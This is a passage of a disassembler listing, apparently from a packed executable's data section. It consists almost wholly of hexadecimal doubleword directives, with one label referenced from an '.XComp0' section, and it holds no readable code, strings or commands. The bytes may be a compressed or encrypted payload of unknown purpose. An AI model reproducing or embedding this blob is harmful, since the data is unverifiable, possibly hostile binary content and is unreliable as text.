5D70D168h, 66385797h, 0BA4B30E9h, 386103A6h dd 0C87ACC68h, 8CA35F66h, 0A911BB0h, 4B922F90h, 0D5F0594Eh dd 0EA801FD6h, 579A5A6Eh, 8C92745Dh, 0FE2C5FE6h, 0A1F5C55Ah dd 0EBC167CDh, 1E16BA29h, 0DF7C4D2Dh, 0ED5CC0F6h, 42F22176h dd 0AE550B00h, 685FF829h, 0B74762D0h, 4D0FC649h, 0A27F408Eh dd 0D60184DDh, 4FFBA3ABh, 0E8E94137h, 818A32ADh, 0A30C9757h dd 424D8FFFh, 7F9610A6h, 12D280E5h, 704B425Dh, 6A4AFE1h dd 0F30B20F2h, 0E9A0CA2Ch, 109FD5FAh, 0F441B0A5h, 0E4A65ADDh dd 0E5BFBA3Fh, 91B3A1EFh, 0F62C6733h, 41C4FDDBh, 0C669F32Ch dd 51CC504Fh, 18014FE4h, 0E9466FD4h, 0E9690452h, 0DDEECBDEh dd 7075DC92h, 0B8E1BDE3h, 0D1778110h, 346851EBh, 0E2106039h dd 50551D42h, 24C0D1D3h, 73A9EF80h, 0BF0273C0h, 0BC9F8960h dd 1A2ACA97h, 4661F5CEh, 0B872C21h, 0D8FAB353h, 9AECF6DBh dd 67BB0194h, 8964613Bh, 5A2DF0D9h, 72C1BFC1h, 55E27727h dd 3C0830A8h, 0EA0C8797h, 0EBC21174h, 9498D56Ah, 0D70F3042h dd 0E6A9119Eh, 28954Ah, 0E1C9205h, 53D82977h, 825A527Eh dd 909ED4D6h, 5A583D46h, 9553D12h, 8E23B38h, 0CAF7A405h dd 5D267B5Eh, 68C04FA0h, 23B3F16h, 7E22F681h, 89D527ABh dd 0CBF7044h, 2ED54058h, 173F710Ch, 0BCCE1CDh, 41CC1611h dd 0E1D12F49h, 0E2E058DAh, 318C1A01h, 0F20159CEh, 8178BF30h dd 0F0137E66h, 0C8CD47AAh, 0F929A246h db 43h byte_505345 db 0FAh, 6, 0Ah ; DATA XREF: .XComp0:off_452BB0o ; .XComp0:off_452BB8o ... dd 0EF7CE9D1h, 1E6AB0B8h, 0E70ADFC2h, 0A709B356h, 2804A6A9h dd 0E5DA292Ah, 81BAA9A3h, 5CD20D94h, 0E2DD6F01h, 0A48AB47Eh dd 15D88F01h, 0AAE9F831h, 5C27BF68h, 0C9E3655Dh, 2506BCDDh dd 7C8037E9h, 73786ABBh, 0DF893012h, 781C270Bh, 0F81F867Eh dd 0EC7E4E26h, 8AB6D38Ah, 0B1E27B2Fh, 0D06B75D9h, 8642E648h dd 0D15BF7CBh, 0DCD467ECh, 78C8EA0Dh, 3BBF009Dh, 3114EF50h dd 62757D9Ah, 0DE0134B3h, 597A5A4Bh, 57A6282Bh, 766BF05h dd 0F6C04B67h, 5E87455Fh, 612AF5CDh, 0CAB3C37h, 8B0B8468h dd 5E755E1Dh, 16E3BBC8h, 0D080ADB2h, 65732C5Ah, 0DF545725h dd 7AE9F090h, 0D02AA669h, 9D7BB098h, 5A949A60h, 93466324h dd 0D5ACB50Bh, 0F74B68E6h, 2DFA2384h, 0A1ADFCF0h, 7AEBBA97h dd 726E203Ah, 0D1664260h, 904AFB6Ch, 3E80034h, 0F2815322h dd 1062029h, 4647E97Eh, 58E33543h, 0F1B08707h, 0D87EB151h dd 0F61375E9h, 350E66D9h, 3ABD1D7Dh, 2941DAEBh, 32354001h dd 0F80DA13Ah, 0AA9ABF64h, 0F4415820h, 0F40AB201h, 0D1FEAB6Fh dd 0B83E869Bh, 0FB9DC4C4h, 35ED8100h, 4B4C3212h, 715E01ADh dd 0CAE905FCh, 0C64B4E6Eh, 0CA661E2h, 0A19EA77h, 69EFA308h dd 2DBD20B1h, 0E7866651h, 13ED0A30h, 0B85C3B53h, 1D09480Bh dd 0C2838149h, 132D6265h, 0B40FE912h, 5750E051h, 0FE6569FEh dd 0B1015B4Eh, 6304704Ah, 7F17893Bh, 213A74F1h, 2F55A84h dd 28286180h, 0AD09E3CEh, 63F2B506h, 141E6606h, 0B6262406h dd 0D0177C2Ch, 0B451EC0Ah, 33766881h, 0CD20352Eh, 0B7904041h dd 0BE711F77h, 2939369Ah, 6D69DBCFh, 0E3BE497Fh, 6DE93081h dd 6DC259BDh, 27D41059h, 0BD05104Ch, 0AA5BF52Ah, 12CC042Ch dd 14FA941h, 7A101731h, 4ABC3F69h, 0F36D9B17h, 8BB72FA7h dd 60677D24h, 57BAB0A7h, 0A8DB9140h, 41796C95h, 9412F58Ch dd 0A2443338h, 8818C4F9h, 49277B43h, 43C011Fh, 0FA204E40h dd 0E42287Fh, 0E9FA0CD6h, 5032AFF3h, 40FA48B6h, 0BE5CEBE7h dd 5758EB65h, 0F5883996h, 11BA00D5h, 4A21AC13h, 0CCA8138h dd 8E73D31Fh, 50173932h, 3E06724Ch, 18188625h, 9615483Eh dd 16A03165h, 0B6AD1CBBh, 0EB014B98h, 461E75Fh, 0EF02C083h dd 4144128Ch, 0CC8F408Ch, 904A2BE7h, 0ED4B8CFCh, 0B0DA10BBh dd 0DC02825h, 2D80A276h, 0EEE20950h, 530B0905h, 969201F4h dd 2EBD8040h, 2E470F33h, 8378ED83h, 0B8F0CCD5h, 14FE6E4Ah dd 732C2986h, 20024174h, 0A08938CBh, 308E3C0h, 0E912C380h dd 0B7033590h, 4014C4E2h, 0CA84DA62h, 0F7CF7723h, 968B5C0Fh dd 0E6D6A7A2h, 0B82C00AEh, 0B753F028h, 0F7801CF2h, 6CFD254Ah dd 0B7D09F91h, 0E94CC0F0h, 38EE1337h, 5E26E5E7h, 55193EEh dd 0FEFB4807h, 52215538h, 89501CD0h, 22C258ACh, 0BA439585h dd 0D0FC92CDh, 0B71FC19Fh, 0E9DFF6E1h, 3BCE654Dh, 18404589h dd 19E81041h, 58D33129h, 930BDE32h, 8968D8DCh, 92D99F72h dd 0BBBAA97Ah, 68708AE4h, 0AB29BBE4h, 0FE20EA25h, 14B90174h dd 2F799677h, 5F17D483h, 6A4BE10Fh, 0BA001C2Dh, 59E9685Bh dd 9485D867h, 0B031424Bh, 0E0555336h, 97B5DE26h, 0DF95596Eh dd 368B418h, 0FB84C3E3h, 0E912A0E7h, 52A28025h, 4B3ABA66h dd 1EC04838h, 0C0653F78h, 0B93CC6B6h, 0D4F20174h, 7F64FE65h dd 0D81FA10Bh, 18F79DB7h, 0B6A5C4DAh, 41BB895Dh, 0A227DEC8h dd 0E339FE9Fh, 0A07752Ch, 72054840h, 0C29AAAE2h, 25A35C78h dd 5FD240D6h, 0FE272947h, 0C2724F82h, 0B45750F9h, 54E91830h dd 0DA0D1696h, 59E03607h, 0A771D0F7h, 2E607007h, 0A3334B95h dd 40476B2Bh, 83B89F0Bh, 3A1437D9h, 81C3BEA2h, 1E1DE7C1h dd 1BAC0148h, 0DDDE0820h, 53A0A913h, 5C0504ADh, 0C523E82Ah dd 86B2FE6Ch, 2C78718Fh, 49FC282Ch, 595C5AE4h, 0E6277EAFh dd 0FBE738EBh, 62DE975Fh, 9385264Ch, 72100330h, 0F8E91DABh dd 5DB8576h, 0FF8426A6h, 3B461BC0h, 0B9155B70h, 0AED04D9h dd 9803FDEh, 27C07E67h, 48572103h, 970C978Bh, 4EAF0753h dd 18E913BDh, 5CAB98Dh, 456037A9h, 47EF8F16h, 72C12903h dd 0C6496F0h, 77F4BC3Bh, 0C6C7E9Eh, 0E1341245h, 7F1DE0B6h dd 99EEB24Ah, 0BDC6600Dh, 491F011Eh, 720A06Dh, 1F7CEA81h dd 0D38F80DEh, 0B6BCFCD0h, 3E46F8C6h, 0E6020D25h, 7D4B2635h dd 5EDBACE0h, 93A14CF6h, 296BD40Fh, 0E9D62104h, 28EA767Dh dd 51025261h, 0FF2C8A68h, 633BC203h, 0FB284B77h, 6ECD7681h dd 0A04DC892h, 9E2DE203h, 0DA23FFFBh, 0BAF5FE9h, 8F1C7DFh dd 0F4256E84h, 0FB1027BDh, 7FEB5950h, 2BA92A27h, 2560FB8Fh dd 4EF44255h, 5C032014h, 0FCB4F881h, 1BB8C8B7h, 0A66CC102h dd 7D58E949h, 7BFA1927h, 0DDE64275h, 0E12D8D73h, 0E56F8BEh dd 13682A69h, 4B1DEA83h, 3A6FCA2Bh, 4E07568Fh, 8014BF9Ch dd 5B8192F3h, 60744030h, 82B90E85h, 734A1777h, 0B4059980h dd 55192D6Eh, 31063F94h, 0BE8CE9C3h, 5FFD1EA9h, 0A4755D5Bh dd 0B9518045h, 39C62F3Fh, 31165990h, 0ACC0361Dh, 0A3236BDCh dd 244CB0DFh, 905371EEh, 0B3EEA10h, 0D2F722BFh, 1082D3DCh dd 571DA823h, 2AD6FF89h, 0A5080B83h, 0D8F3B044h, 16DA2E54h dd 17FF3DAFh, 0FE317FB9h, 0EA24FC80h, 0FC205FE6h, 684061AFh dd 342A1B3Fh, 84C6F8D6h, 7E194E48h, 7713C87h, 11F2210Fh dd 47CBC835h, 8E8C109h, 9225EB00h, 7A3C1412h, 0D0277405h dd 2F7350F6h, 8D90C74Fh, 2AE94729h, 7CA32CABh, 0B2C782BDh dd 2EE250F5h, 81B258F2h, 26D2205h, 3B846F48h, 2AB20Eh dd 42E94329h, 724E9588h, 5F98517Ch, 29EA9DDh, 85A1AD12h dd 0FEBCF02Eh, 0A65F9D8Eh, 7EAC28F6h, 21FC08Ah, 0C061F480h dd 0E5ED4890h, 55B0E784h, 0E197E588h, 0C5F0F011h, 14E92652h dd 0C98180FBh, 23CC4FD3h, 0B7E26897h, 4D62CE79h, 0AE9ADAC5h dd 4B883661h, 0A232676Ah, 67D657ADh, 7941965h, 8D8921BEh dd 63860476h, 27BB0FDh, 0E386850h, 318B7967h, 0DE07B7Bh dd 0EE4A3326h, 13775FE9h, 0A299EBB7h, 0A53E25D2h, 1DF640AAh dd 7A7D8B7Bh, 76B61225h, 0E8DA4706h, 73295A09h, 1280806h dd 49C38004h, 205053C3h, 6812A116h, 25AC0CA0h, 55B2EC4h dd 0E508CE29h, 0EE7C309Bh, 1B4E6D25h, 4F34D2BEh, 9E33D7C3h dd 175FFDFDh, 0FEAB9C5Eh, 9918C398h, 54BC086Fh, 0AECA8100h dd 90313A21h, 2BFB00C3h, 422D777Eh, 52025750h, 61592E05h dd 0E50BC349h, 1128071Fh, 25B5A76h, 16A5CBADh, 62C4874Eh dd 5E80E7D1h, 717D31C7h, 262D2703h, 0AF3D8767h, 3B8552B1h dd 7ADA12Eh, 21115A07h, 0B47F09AAh, 5A42595Eh, 0D3F98750h dd 0D5A430D2h, 0FC3C6045h, 0F9CE40FCh, 67FA9656h, 2B3FE70Ah dd 8227717Ah, 5532AB96h, 5B581E22h, 574914D1h, 0CAE954B0h dd 0C3AD2097h, 4FB641D2h, 520AC240h, 0ECAF247Dh, 14EAD694h dd 1F04F037h, 0EE613641h, 0C22BDBA5h, 0D9091299h, 8B5C2C6Dh dd 69D45A06h, 55F5D062h, 0C5D0B974h, 48F28853h, 265A1618h dd 925620E6h, 0C0FBED34h, 7DFE0B32h, 1CB22527h, 3BF3C8E9h dd 0C9DE9CA9h, 3E77BAEBh, 0F7898996h, 0C4A4DC38h, 44DAF503h dd 39B1AE3Ch, 417EBB2Ch, 1DAA6878h, 4F1D74E7h, 81E1DA4h dd 3C0B7CA4h, 7091857Ch, 5BC528BAh, 0F955DFAAh, 0B27FC9F0h dd 0EEECF787h, 0BE14559Fh, 0DDA4A827h, 66DAE6B3h, 1CBEC568h dd 387A4273h, 0C8856E4Bh dd 0BB96B6A2h, 0CBBE6E8Ch, 0B5FC58E3h, 0D4791EC2h, 813762B8h dd 0A02F645Fh, 3E52952Ah, 97943FEh, 35AA201Eh, 6D0C0D80h dd 0E9191876h, 0B3348713h, 702A8720h, 0EC56970Fh, 5F79E970h dd 617DBA7Eh, 0D0A2E341h, 0AFE58100h, 1B535F06h, 67B6D5F7h dd 64541A97h, 6828E095h, 6C3BB809h, 78D2F7Fh, 5F09053Ah dd 6216867h, 50F1E90Bh, 709990FFh, 0D4E9E71Dh, 0F550F828h dd 6DED09BBh, 0C3745DDEh, 2EA10D07h, 0A78071C4h, 23F1130h dd 0E9C83103h, 0BAEAA74Dh, 0AB4B0F5h, 0A9F9978Ch, 506D4C9h dd 0BE79EF77h, 9A00ED99h, 24CC6429h, 2063592Ch, 0CA629507h dd 3727BEC4h, 0F622CE55h, 0D75967FCh, 5A06ACC1h, 2D1F63Ch dd 71E934C9h, 690DD4A7h, 0B062DD79h, 409DF47Ch, 1BF6D7C7h dd 65A43FE3h, 0FB52815Bh, 609CEC05h, 0B6500292h, 85E90B07h dd 0E916742Fh, 0A047259h, 0F0B13C68h, 3C1A8A7Eh, 182DDF8Bh dd 0FA4EAB4Ah, 48A88691h, 2101F522h, 8B336973h, 0D723310Ah dd 0DB091B75h, 862B77F6h, 5C6F219h, 0F97FEFBEh, 0C480AE06h dd 0F7DEDCEh, 0B1E9109Eh, 0CFBF0370h, 0D244781Eh, 33FE5645h dd 0E813E3C6h, 69BA2974h, 5512A7BAh, 8D8A74B6h, 9D21345Fh dd 3E34B44Dh, 0A4B0A9BEh, 2AE9DAF0h, 20ED40EFh, 0BD0050F2h dd 1D88379Ch, 4F8BEA89h, 0F3CBBA2Ch, 0FF02FE97h, 7F8A4EE9h dd 0BD0AC6F1h, 69AD4B60h, 7DF45BB6h, 0F37FC418h, 40713BEh dd 5676160Ch, 0CC98500Ch, 0B262979Bh, 978DDE50h, 0BAC6425h dd 1E822099h, 0E9F039D6h, 0B9315ACCh, 0CACDC8D2h, 5A55E2DAh dd 0C1331255h, 0F7C2A495h, 0C54FD2F9h, 71AB98CEh, 84DF0127h dd 8618E82h, 6088D1FFh, 535A009Fh, 0FC62568h, 27B93FD1h dd 1ECCD327h, 4EC6EDF2h, 0F7FD565Eh, 0E8D357C9h, 0C7B84016h dd 0AB38EA4Bh, 0ECEF5E95h, 0A1C18154h, 29E80AB8h, 514696CFh dd 65BB2E5Eh, 1D0A8639h, 0D4BB594Ah, 0BFB7FF46h, 9432387h dd 927C477Dh, 1B7EBC01h, 0E3F839Bh, 1E8A6828h, 0F1F3AB12h dd 6321BA92h, 88ADD706h, 3D199675h, 0DCCFC9E9h, 0CBB85168h dd 0E75CB10Ch, 3EB70C6Dh, 4001D903h, 9856660Dh, 2AB0D42Eh dd 5D0ABC25h, 0F7832FC2h, 0D1043DDFh, 21710CEDh, 40FD8A83h dd 71E90860h, 0B998BD9Fh, 52815FADh, 2810BB62h, 5E501D9Eh dd 0FAB754CBh, 81D4C5C4h, 2725BF79h, 0F2C49112h, 7B05CE1h dd 0B634B982h, 37ED5D4Ah, 0CC69FC13h, 194A5857h, 4EF4C844h dd 8F69FCAAh, 99E45CCh, 67EE6701h, 65EC7285h, 96489CA3h dd 5711B12h, 872708C6h, 676A28D1h, 0DDE04017h, 800F1BB4h dd 1586C6C4h, 4C204190h, 42B80E70h, 540884Dh, 0DD62F47Bh dd 0F8AA609Dh, 0E93A9C23h, 0E592CD87h, 5A2BC8Ah, 336106BAh dd 1E0EC2AAh, 96E0D101h, 6042277Ah, 0E209BC2Dh, 0C35E01E4h dd 6220CB3Dh, 68C14144h, 0B9C31AB0h, 87B0FDB1h, 9BC05373h dd 5933BBF2h, 9A0908Bh, 1AA57943h, 8835F7Ah, 2E5B87A9h dd 561B6F9Ah, 2BAA68E1h, 705CC9AAh, 88B439EAh, 7FABD780h dd 90F52930h, 0C2DF4F17h, 86463395h, 0CAFFDF90h, 0D3FF968h dd 13C0BF80h, 0A4213B77h, 634F89CDh, 6D075830h, 0BD3E4E4Eh dd 525A1080h, 0CFA6FED2h, 0E818E9C2h, 85416374h, 56004F3Eh dd 48091468h, 5D5E57BBh, 0A8011285h, 49118105h, 0B23F52FCh dd 0CF8100D9h, 69026FEEh, 0BA0984Fh, 415F3BBBh, 6663AB62h dd 444222DFh, 325DAB61h, 364171D0h, 0B8E06C25h, 0FF835163h dd 0F27EA02Eh, 310F5DBEh, 611BE6F0h, 83429070h, 0F012DA49h dd 0A7B903BCh, 315FA574h, 6AC05019h, 9023C59Fh, 1D279B10h dd 8CCB5755h, 0F200B228h, 16B900CBh, 8364E639h, 0C0BF01E9h dd 76A82177h, 0AEE10760h, 0E217C01Eh, 0B1FF93A4h, 86222A64h dd 50A96882h, 0F796E171h, 7329C0A5h, 0C238AE5Ah, 4F40B055h dd 54040F2h, 36C214AFh, 0B49FED98h, 6B65B1B0h, 0D0A499D5h dd 0A43BD925h, 8B04F73Ah, 29169771h, 1E8D71Ch, 0FF0DC1D8h dd 62A74219h, 7E33BE01h, 0C8B9BA43h, 0BF03F202h, 0E85DCD62h dd 0FF8BF823h, 0D7E6CA2Fh, 5BD80961h, 135F4F26h, 0E42CB873h dd 0E9C26BF8h, 0CE7F32F9h, 0EA682EA7h, 0B1E9C26Bh, 0F3442AD5h dd 8D01738h, 0CC1946EAh, 0D651874Fh, 8FB83ABFh, 0C1D50C69h dd 0F73B5A9Bh, 99E912B6h, 0F70F2ABDh, 2F2F76A0h, 0E7D8AD7Eh dd 0E265DEB5h, 0EDF9F313h, 984D2942h, 96852D4h, 42C83486h dd 0F89F2F96h, 8E0F2EF5h, 0C9CA0113h, 0BC083968h, 9B3C8918h dd 134D507Ch, 0EE0ED29h, 552D52Eh, 429CC9B6h, 0D108E6FBh dd 94CF8057h, 0EC549257h, 0D96801F6h, 15E9BD83h, 0A7C2A35h dd 9571A05Ch, 45D2093Ch, 4582E2C1h, 0EE757846h, 0BE149859h dd 0A2E593B1h, 2AFC6D4h, 0B6FE5B21h, 0CB85A03h, 3F98010h dd 0A9D32335h, 58C7E18Dh, 0B76DB260h, 0B48C0A7h, 0ACB2EDFFh dd 4104C962h, 7BCAE793h, 104B1928h, 39652FEBh, 4AB107F0h dd 0D289A657h, 4FDDB6AEh, 2810CCA6h, 16884CEEh, 0C8FEDB31h dd 0A54155AEh, 8045E62h, 0AA521268h, 30830A30h, 0E93C128Dh dd 5EA1A80Bh, 45693CDCh, 36063F4Dh, 4ED3455Ah, 97B50E91h dd 0E868EC7h, 59D55709h, 2EE9E2B5h, 0D425AD7Ch, 96549E25h dd 0B791BE0Fh, 43F5306Dh, 815BCC60h, 0A0D0285Ah, 0BF2DB868h dd 80BDCAECh, 0AE52F786h, 0E66B83Dh, 53BC010Dh, 3B75E5C1h dd 0F5C4202Dh, 0F36B8D0Bh, 0E9AB011Ch, 31FDD37Ah, 0F8E5EE05h dd 0F6B2C83Bh, 372C1F40h, 0BFB751DBh, 0DBE4D7ABh, 0E2A2C8F0h dd 0CB19DE77h, 68129FCCh, 59B3716Eh, 32806938h, 50FA0D1Ch dd 250521C2h, 607D7384h, 70C7DA1Dh, 48000664h, 0C7046B35h dd 0AA9D680Ch, 0AFB6C7E2h, 101B0473h, 8236F3DEh, 0D461D905h dd 8230083Ch, 22FE2D17h, 8DF4995Bh, 62E3BF00h, 52290C88h dd 1C4E2FDh, 5D3BDCDDh, 7DB20C5Ah, 41F45205h, 0AE40BAF7h dd 0B10BEBEDh, 0C4DAB530h, 7C770882h, 75E2627Fh, 2B008164h dd 50362148h, 584E7EB8h, 0BE765F1Ah, 0F38703A6h, 848D6F7h dd 0EA1C1CA5h, 12BE8413h, 7A08E8A9h, 5F4E7A69h, 0A43B8818h dd 41CC51BDh, 0F567DAEFh, 28DA2C57h, 5B4E08C7h, 0ECB72CFAh dd 34E9020Ch, 0B5C2439Bh, 6A5DD5E9h, 24EA8E62h, 0F517C82Ch dd 86827E2Dh, 0C1070231h, 4D7C6234h, 3DA9604Fh, 0F0AC393h dd 0DF0AB3B6h, 0E54EC055h, 0E4AE6707h, 5912CAC3h, 5804525Fh dd 88143418h, 8D49AE5Bh, 48B50E51h, 1AC2085h, 798856BDh dd 0D4E34005h, 0C26521F2h, 0D7ACC542h, 14555B27h, 0FDE91C8Fh dd 45DD2731h, 2F12A4F7h, 25CD1855h, 0C97BB76Fh, 0E1B15449h dd 28D0A6E9h, 0FAA8E588h, 0AB5A7225h, 4BF59E20h, 0BEC4BA59h dd 0AD942661h, 56EBD100h, 875B39F0h, 0CC68D870h, 2466BD12h dd 4BAF7E49h, 611A83EEh, 95662130h, 0C41A8E68h, 5986563h dd 80C7E1C1h, 96240940h, 5349243Ah, 0B8A917C8h, 0E9EDA5D4h dd 60290193h, 6A6BA32Ch, 841DEB8h, 0AD6F7C35h, 954DD55Ch dd 0CE98E3Ah, 95EF5758h, 7F9776DAh, 56B54E9Ch, 4AE9867Dh dd 9BD1A8Eh, 67E45D8Ah, 89395A9Ah, 0A7164AD1h, 76BD5111h dd 59199D25h, 67E84FC6h, 5E5D109h, 4CA24E96h, 0B94BBA92h dd 6915F641h, 89455005h, 1812BCFBh, 0C6654DCDh, 0AF562D27h dd 1710980h, 0B7B81110h, 48315CC1h, 0A27B2FB3h, 8921D88h dd 1EF1797h, 0EFC80A3Dh, 6C3C9EE2h, 295B97C5h, 80D5FD4h dd 33080E5Dh, 691B02EBh dd 0E388E96Ah, 7F588D49h, 3905A187h, 4D814AACh, 8567483Bh dd 570B6142h, 49039104h, 0F9D73CC9h, 0CEDB7290h, 0F5DA2DDDh dd 0BEBD107Dh, 0BE058392h, 67110230h, 0B66D4FAh, 0CB455908h dd 78BF0F89h, 0FCE58AC7h, 0E8290E9Ch, 76C105A3h, 935CECCCh dd 563E12A8h, 0FEC492FFh, 547228BDh, 18D6B51Ah, 1071D7FAh dd 2CEA7525h, 65C42240h, 64EFDBBEh, 0A3F8407Dh, 7325518Fh dd 4B21B259h, 910EC1C7h, 0B93FE90Bh, 8327BCEEh, 0C11455EAh dd 70E3E913h, 41A392F4h, 21B221CAh, 9460CE62h, 64E9DB27h dd 0B009E24Dh, 0F73E9D21h, 61BF5090h, 6E60CAEFh, 41257EDBh dd 0AB3DE10h, 2E1CF01h, 75804AE4h, 40E917C0h, 205DEA5Fh dd 0E105FF25h, 4B7EFCD3h, 16CF2AFFh, 45EA42E9h, 0B35AD0C7h dd 0FC59254Ah, 27DC0183h, 70BE293Eh, 7792C24Ah, 7D26A517h dd 0B34701FAh, 704AD31Ch, 0C2DA26Ah, 800CFC49h, 7E9E6852h dd 5A6350BAh, 606928D8h, 4D74F0E8h, 21256B0Eh, 11296D6h dd 0F851A9F6h, 6C17E969h, 112C1374h, 0EE77C509h, 90579F40h dd 0BF45BFBBh, 80BE9200h, 0D89D29C1h, 706C2E5h, 9FDCF0E9h dd 2407BE2Fh, 82672B43h, 2825B252h, 0B59F457h, 0AEDDABEBh dd 0A0CCB7C8h, 0F1AF5FB6h, 0D0403F8Ah, 179C8BEEh, 67E0F80Fh dd 74F57BC5h, 0B9EFE07Ch, 0DA7DD024h, 464D723Dh, 89014B5Fh dd 0ECD71865h, 0A41F817Eh, 0B14D038Ch, 3EA74733h, 1EC6E1D8h dd 5C5F9240h, 9C2D8EEEh, 0EA5BFFF4h, 3D4A5D9Fh, 3C9BE05Dh dd 80408264h, 2BB1D959h, 678D1BBFh, 9911F1CBh, 68874C2Ch dd 91F92B75h, 3993BD80h, 1EBE6CDCh, 2523C671h, 0F995D2D8h dd 4BE488ADh, 44EB983Ah, 5E27680Ah, 0F2DF3534h, 66C3C958h dd 313E6578h, 61AFC3E3h, 0BC350E00h, 2548F143h, 987D12BAh dd 831AFC78h, 0C860BE2Dh, 0B35404Fh, 0B0C41720h, 0F6370B5Dh dd 725252F3h, 0FB6DA72Ch, 3FD22D45h, 0B021735Eh, 17146808h dd 7862919Eh, 23FE0964h, 7EE9CF12h, 1428B384h, 44702C93h dd 44D700CFh, 335827DBh, 530DD335h, 0ECC1C3FAh, 1EF10D4h dd 33EA3D41h, 204BED96h, 0DF15A774h, 7E950C7Fh, 743C0253h dd 0BB6233C4h, 922322D5h, 0BA195F7Fh, 7D1CC0B2h, 857035FAh dd 5AEE7495h, 0F88F64FFh, 1CB4135Bh, 6B7A858h, 0E5A2D52Dh dd 0BFC67B52h, 5096705Eh, 0E9B0BAA2h, 53BB432Ah, 5367F600h dd 1FE7812Bh, 245C2C93h, 0DB7201D8h, 2A05D7AFh, 2DE99CE4h dd 3001C058h, 28315BDDh, 88261080h, 0BF6E3C50h, 8304C180h dd 0D8E0F52Ch, 8FB7D3EDh, 8DD6F2E5h, 3CD0E107h, 78282D1Eh dd 80093081h, 222BE20h, 81688D01h, 7B6061CEh, 39EA06Ah dd 8F1387BAh, 81FE2EFFh, 3C6ECEA1h, 2BFF9623h, 5D5C2F47h dd 2F5AD731h, 89F441D1h, 2FF90205h, 0F95DC828h, 82B340BDh dd 0E924CBFEh, 5B8B4194h, 0ADC56B05h, 0A6BD52AFh, 0BDCE97C2h dd 1C44D82Eh, 16D7256Bh, 0A870B073h, 0A87CB4Dh, 4354652Fh dd 7478008Bh, 64E970B7h, 4BD54659h, 0BD18D8ABh, 67BB32B4h dd 0DF24F0Eh, 65D7E473h, 1BE9EC5Dh, 64C1BF0Ch, 30B14DF4h dd 2B9A6B0Fh, 0F4191420h, 9BB260B8h, 223E79C3h, 60833A3Bh dd 5878F312h, 0C49601Ch, 0BDAE119Fh, 875B4790h, 0AD043053h dd 0F2FC26C7h, 5C6856C2h, 544F42D8h, 818373EBh, 0C3E9B95Eh dd 17EF0840h, 0BE1B4F39h, 0C009099h, 958D1CE9h, 41791A77h dd 307268FDh, 0C7C2872Dh, 2F676EFFh, 93E8669Ch, 891020D6h dd 98602162h, 6FFC351Ch, 1E0049B0h, 55EAC0Fh, 0DD110EFh dd 5AF5E926h, 7BEC2148h, 0BD619FB5h, 0F4C4BD7Ah, 5BD58DE4h dd 7A2DE65Ch, 56EDE74Fh, 0FA597281h, 6E2E7035h, 9AE0DD2h dd 0D6292357h, 2AD81556h, 0E585C097h, 75342954h, 0C8DE63B5h dd 25929AF5h, 3CC0EF8Bh, 0C53EB951h, 0A947242Bh, 94091C1Ch dd 24637868h, 0BF1C24E9h, 0B007B605h, 0B9C1FAB7h, 0C0D22CF0h dd 0B0D5C5F3h, 0FC735601h, 13E65026h, 0E375BAD3h, 23A0AD80h dd 28597B4Fh, 0E9505E3h, 98874C5h, 414342DEh, 90400EA2h dd 0D03E59F4h, 0F1EB1D7Fh, 0D6ADF09Dh, 53FBC2E1h, 690CD1DDh dd 12036C04h, 853FD9BBh, 33796810h, 38BBE030h, 692A2427h dd 0C3C192E1h, 0BFFC33A1h, 20A13BECh, 1BD06441h, 4AE0BD6h dd 79A517h, 340CB95Ah, 0D25EA0h, 0E9CF219Bh, 77C465B4h dd 398050E1h, 19A625ABh, 0BAFB863h, 9BE07F29h, 106A9FC1h dd 0A902C062h, 9456D5E3h, 0D87565EFh, 7DA7ABDh, 0E97DD15Fh dd 0FB244351h, 5675D109h, 55B283D5h, 0A9D97785h, 0D8CDAFC7h dd 0D9F63D22h, 0CD1CDE97h, 2CF068A5h, 0B80B7755h, 0F34E305Eh dd 15DA3C28h, 0D95FF812h, 11AB2A55h, 54C4DAF1h, 68389097h dd 0F02F7F78h, 0A7634319h, 0F70B8CAAh, 803FC2DAh, 94D9A526h dd 25D3BAA3h, 0D445D189h, 0F4875289h, 0FD4166DFh, 90BB4F4Bh dd 675FEF56h, 72FCEDB0h, 41FE84D2h, 0DC7ACB88h, 0B1986C36h dd 0F805401Ch, 0F00C5009h, 79F85681h, 7C4695FCh, 939B7595h dd 0BB053FEAh, 1561680h, 0C3C4D431h, 0D023CF07h, 6D62A918h dd 0B20EDFEh, 27AC76C8h, 0C597D27Ch, 148F950Dh, 0D19103h dd 63192E46h, 45EA814Dh, 264A5976h, 1EE340FEh, 0E919D258h dd 0C5C94D71h, 946855D1h, 272D2D84h, 0B50FC365h, 709E7A51h dd 0E0FC094Bh, 4A7D9810h, 122913F0h, 0EBED81F5h, 5EAEB385h dd 4F7AD092h, 0E7A7D8FCh, 53569957h, 975AD069h, 5D02B676h dd 51663B68h, 6C378C0Ch, 0B8ED57B4h, 0B5BF028Fh, 5E922FD3h dd 82C49358h, 0D06F535Fh, 782F5F24h, 0D3CCB733h, 527FE6E6h dd 1EBBDD33h, 0C26AB380h, 7AA70FEh, 37CA5BAh, 0BBD2C416h dd 75EEEE12h, 0F3CA1606h, 0C78382D6h, 0F69EF502h, 3E4114B0h dd 0BD2274F2h, 6B093A2Fh, 0B51655Fh, 45D55453h, 310D6C6Bh dd 4ABBE980h, 0E49CFA3Eh, 451C9EEEh, 0FE7A95ADh, 55487000h dd 4829238Fh, 8418FCAh, 1131A26Fh, 126B3EEDh, 6775E609h dd 31E905D1h, 0C456BC08h, 0F2A3581Ah, 0F62B1717h, 0D10589B5h dd 0E1E5889Eh, 77254F26h, 0DB5B9DECh, 552C763h, 68446D4Dh dd 0EB9D0A33h, 1DE90407h, 4D89AE5Ch, 11B5D6E1h, 5F6EE53h dd 4E26B2D7h, 56B83E16h, 0B439FAA4h, 0ECEBF314h, 405FA253h dd 0A82D6544h, 9F3DE19Bh, 0B90C1A0h, 0C1174859h, 92A006EDh dd 140F14CAh, 2D05B6C0h, 0FF347E1Eh, 3EF51E40h, 0BCB4D8FCh dd 1B5E8B80h, 69EA9457h, 368EF3A9h, 7BF7EC07h, 484844DFh dd 0FD83D42Ch, 0ECC42B2Fh, 0E9074031h, 4F2A1F38h, 68593CFAh dd 196EC627h, 0FB3B4A06h, 5DA0BD32h, 238CFFD1h, 6F591091h dd 3380DC5Fh, 0D8F74822h, 0F8D0531h, 4B31C701h, 12A4136Eh dd 7A2FEF54h, 0C02FE917h, 0BF57ADBDh, 0D658DB0Fh, 0DE04F660h dd 0F130B7Dh, 0B109E834h, 0CD60D2C2h, 99C7C9h, 58565EA5h dd 4E54EE68h, 73EEB977h, 0E927190Bh, 6861C13Ch, 506D36D4h dd 5A90CC1Fh, 0E1C989E0h, 0DC5ED688h, 0CCEB0493h, 22502E93h dd 0D617BEB7h, 